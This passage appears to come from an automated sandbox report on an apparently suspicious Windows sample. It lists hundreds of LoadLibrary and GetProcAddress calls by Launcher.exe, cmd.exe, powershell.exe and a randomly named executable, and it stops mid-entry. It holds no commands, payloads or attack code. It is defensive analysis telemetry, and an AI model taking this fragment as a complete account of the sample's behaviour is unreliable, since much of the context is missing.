(UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\11606f766159ae0c6dc59f2c053f4db7\Microsoft.PowerShell.Security (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\9c3b10f6a55214655267f1cbc0e14caa\Microsoft.Management.Infrastr (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\b91d832f8c25f4f949d6dc38b3fe41ac\Microsoft.PowerShell.Commands (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\9594c82af7b396b5ee8b0ef1d461cea2\System.Configuration.Install. (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\4775ea5a6170c0859c5278277c31b0ca\Microsoft.PowerShell.Commands (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00006468) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\704b6614c4744d16332d08daf175deed\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\ed7aa14224280131dbac4b6e4881239a\Microsoft.Management.Infrastr (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\11606f766159ae0c6dc59f2c053f4db7\Microsoft.PowerShell.Security (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\4775ea5a6170c0859c5278277c31b0ca\Microsoft.PowerShell.Commands (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\9c3b10f6a55214655267f1cbc0e14caa\Microsoft.Management.Infrastr (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00005048) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00005048) "evbhxjyhj.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003132) "evbhxjyhj.exe" called "LoadLibrary" with a parameter d3d9.dll (UID: 00000000-00003132) "evbhxjyhj.exe" called "LoadLibrary" with a parameter d3d10warp.dll (UID: 00000000-00003132) "evbhxjyhj.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003132)38:T13d3d,"Launcher.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005964) "Launcher.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005964) "Launcher.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005964) "Launcher.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005964) "Launcher.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005964) "Launcher.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005964) "Launcher.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005964) "Launcher.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005884) "Launcher.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005884) "Launcher.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005884) "Launcher.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005884) "Launcher.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005884) "Launcher.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005884) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001548) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001548) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001548) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001548) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001548) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001548) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006468) "powershell.exe" called "GetProcAddress" with a parameter 